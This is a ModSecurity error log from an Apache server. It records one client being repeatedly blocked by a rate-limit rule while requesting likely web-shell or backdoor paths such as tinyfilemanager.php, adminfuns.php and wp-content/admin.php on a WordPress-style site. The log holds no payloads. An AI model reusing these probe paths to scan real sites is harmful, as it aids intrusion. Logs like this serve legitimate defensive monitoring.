[Fri Apr 17 14:34:14.171096 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:28440] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUZshTVuRPkua22vQU1wAAABU"]
[Fri Apr 17 14:34:14.177541 2026] [:error] [pid 9153:tid 9228] [client 74.234.56.128:28476] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUZuMHGxkTZX3c45fPawAAAIo"]
[Fri Apr 17 14:34:14.686207 2026] [:error] [pid 34273:tid 34291] [client 74.234.56.128:27483] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUZmuQDW686mK3dgHDTAAAAZA"]
[Fri Apr 17 14:34:14.702392 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:27505] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUZhP68VyHNvj1e56jrgAAANc"]
[Fri Apr 17 14:34:15.269105 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:27949] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUZ8OaH-Pgc7WEf4NGwQAAAcw"]
[Fri Apr 17 14:34:15.362446 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:27427] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeHUZxP68VyHNvj1e56jrwAAAMU"]
[Fri Apr 17 14:34:15.778604 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:28026] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUZxP68VyHNvj1e56jsAAAAME"]
[Fri Apr 17 14:34:15.960921 2026] [:error] [pid 9153:tid 9242] [client 74.234.56.128:28434] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aeHUZ-MHGxkTZX3c45fPbgAAAJg"]
[Fri Apr 17 14:34:16.277086 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:28525] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUaBP68VyHNvj1e56jsQAAANg"]
[Fri Apr 17 14:34:16.590553 2026] [:error] [pid 9153:tid 9240] [client 74.234.56.128:26418] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aeHUaOMHGxkTZX3c45fPbwAAAJY"]
[Fri Apr 17 14:34:16.785425 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:26969] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUaMOaH-Pgc7WEf4NGxQAAAc0"]
[Fri Apr 17 14:34:17.244529 2026] [:error] [pid 34273:tid 34287] [client 74.234.56.128:27952] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aeHUaWuQDW686mK3dgHDTwAAAYw"]
[Fri Apr 17 14:34:17.322932 2026] [:error] [pid 34273:tid 34296] [client 74.234.56.128:23849] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUaWuQDW686mK3dgHDUAAAAZU"]
[Fri Apr 17 14:34:17.826255 2026] [:error] [pid 25010:tid 25014] [client 74.234.56.128:28018] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aeHUaY-7kkf42RarqQ1FsAAAAUE"]
[Fri Apr 17 14:34:17.843625 2026] [:error] [pid 34273:tid 34278] [client 74.234.56.128:27512] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUaWuQDW686mK3dgHDUwAAAYM"]
[Fri Apr 17 14:34:18.324208 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:24951] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aeHUao-7kkf42RarqQ1FsQAAAUs"]
[Fri Apr 17 14:34:18.370800 2026] [:error] [pid 51878:tid 51892] [client 74.234.56.128:27443] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUaknQhUtMbw9EsgYatQAAAQw"]
[Fri Apr 17 14:34:18.928680 2026] [:error] [pid 25010:tid 25026] [client 74.234.56.128:25461] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUao-7kkf42RarqQ1FswAAAU0"]
[Fri Apr 17 14:34:18.959778 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:28007] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aeHUahP68VyHNvj1e56jswAAANE"]
[Fri Apr 17 14:34:19.437092 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:27488] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUaxP68VyHNvj1e56jtAAAAMA"]
[Fri Apr 17 14:34:19.492967 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:28529] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aeHUaxP68VyHNvj1e56jtgAAAM0"]
[Fri Apr 17 14:34:20.223781 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:28467] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUbBP68VyHNvj1e56jugAAANU"]
[Fri Apr 17 14:34:20.382874 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:27437] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aeHUbBP68VyHNvj1e56juwAAANQ"]
[Fri Apr 17 14:34:20.793837 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:29053] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUbMOaH-Pgc7WEf4NGxwAAAc4"]
[Fri Apr 17 14:34:21.049648 2026] [:error] [pid 34273:tid 34282] [client 74.234.56.128:28941] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeHUbWuQDW686mK3dgHDVwAAAYc"]
[Fri Apr 17 14:34:21.296440 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:29003] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUbZJYca8I3TNCwIf-4gAAAFI"]
[Fri Apr 17 14:34:21.560507 2026] [:error] [pid 34273:tid 34280] [client 74.234.56.128:28519] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeHUbWuQDW686mK3dgHDWAAAAYU"]
[Fri Apr 17 14:34:21.863606 2026] [:error] [pid 25010:tid 25023] [client 74.234.56.128:27993] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUbY-7kkf42RarqQ1FtAAAAUo"]
[Fri Apr 17 14:34:22.204323 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:25431] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeHUbpJYca8I3TNCwIf-4wAAAEs"]
[Fri Apr 17 14:34:22.409598 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:28520] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUbpJYca8I3TNCwIf-5AAAAFc"]
[Fri Apr 17 14:34:22.740353 2026] [:error] [pid 9152:tid 9194] [client 74.234.56.128:23421] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aeHUbpJYca8I3TNCwIf-5QAAAEQ"]
[Fri Apr 17 14:34:22.932212 2026] [:error] [pid 25010:tid 25027] [client 74.234.56.128:29039] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUbo-7kkf42RarqQ1FtwAAAU4"]
[Fri Apr 17 14:34:23.251647 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:27950] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeHUbxP68VyHNvj1e56jwgAAANA"]
[Fri Apr 17 14:34:23.455952 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:28488] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUbxP68VyHNvj1e56jxAAAAMA"]
[Fri Apr 17 14:34:23.781480 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:26416] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeHUbxP68VyHNvj1e56jxQAAAM0"]
[Fri Apr 17 14:34:23.980965 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:28536] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUbxP68VyHNvj1e56jxwAAAMU"]
[Fri Apr 17 14:34:24.331044 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:28539] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeHUcBP68VyHNvj1e56jyAAAANQ"]
[Fri Apr 17 14:34:24.516713 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:28498] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUcBP68VyHNvj1e56jygAAAMo"]
[Fri Apr 17 14:34:24.912325 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:25876] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeHUcBP68VyHNvj1e56jzAAAANg"]
[Fri Apr 17 14:34:25.063489 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:28956] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUcRP68VyHNvj1e56jzgAAAMM"]
[Fri Apr 17 14:34:25.415829 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:27924] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUcZJYca8I3TNCwIf-5wAAAEM"]
[Fri Apr 17 14:34:25.563976 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:28472] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUcRP68VyHNvj1e56j0wAAANM"]
[Fri Apr 17 14:34:25.929952 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:29020] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUcWuQDW686mK3dgHDWgAAAYk"]
[Fri Apr 17 14:34:26.103545 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:29045] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUchP68VyHNvj1e56j1QAAAMk"]
[Fri Apr 17 14:34:26.433512 2026] [:error] [pid 34273:tid 34275] [client 74.234.56.128:29014] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUcmuQDW686mK3dgHDWwAAAYA"]
[Fri Apr 17 14:34:26.601338 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:27987] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUchP68VyHNvj1e56j2gAAANY"]
[Fri Apr 17 14:34:26.982941 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:29054] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUchP68VyHNvj1e56j3QAAAM8"]
[Fri Apr 17 14:34:27.138503 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:28952] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUcxP68VyHNvj1e56j3gAAAMs"]
[Fri Apr 17 14:34:27.539693 2026] [:error] [pid 34273:tid 34290] [client 74.234.56.128:29018] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUc2uQDW686mK3dgHDXAAAAY8"]
[Fri Apr 17 14:34:27.672609 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:29010] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUcxP68VyHNvj1e56j4QAAAM4"]
[Fri Apr 17 14:34:28.067043 2026] [:error] [pid 34273:tid 34298] [client 74.234.56.128:28446] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUdGuQDW686mK3dgHDXgAAAZc"]
[Fri Apr 17 14:34:28.187127 2026] [:error] [pid 25010:tid 25032] [client 74.234.56.128:27965] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUdI-7kkf42RarqQ1FuQAAAVM"]
[Fri Apr 17 14:34:28.581054 2026] [:error] [pid 9153:tid 9235] [client 74.234.56.128:28508] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUdOMHGxkTZX3c45fPdQAAAJE"]
[Fri Apr 17 14:34:28.716551 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:28006] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUdMOaH-Pgc7WEf4NGyAAAAcw"]
[Fri Apr 17 14:34:29.106847 2026] [:error] [pid 34273:tid 34293] [client 74.234.56.128:28421] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUdWuQDW686mK3dgHDYAAAAZI"]
[Fri Apr 17 14:34:29.258293 2026] [:error] [pid 9152:tid 9212] [client 74.234.56.128:27972] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUdZJYca8I3TNCwIf-6wAAAFY"]
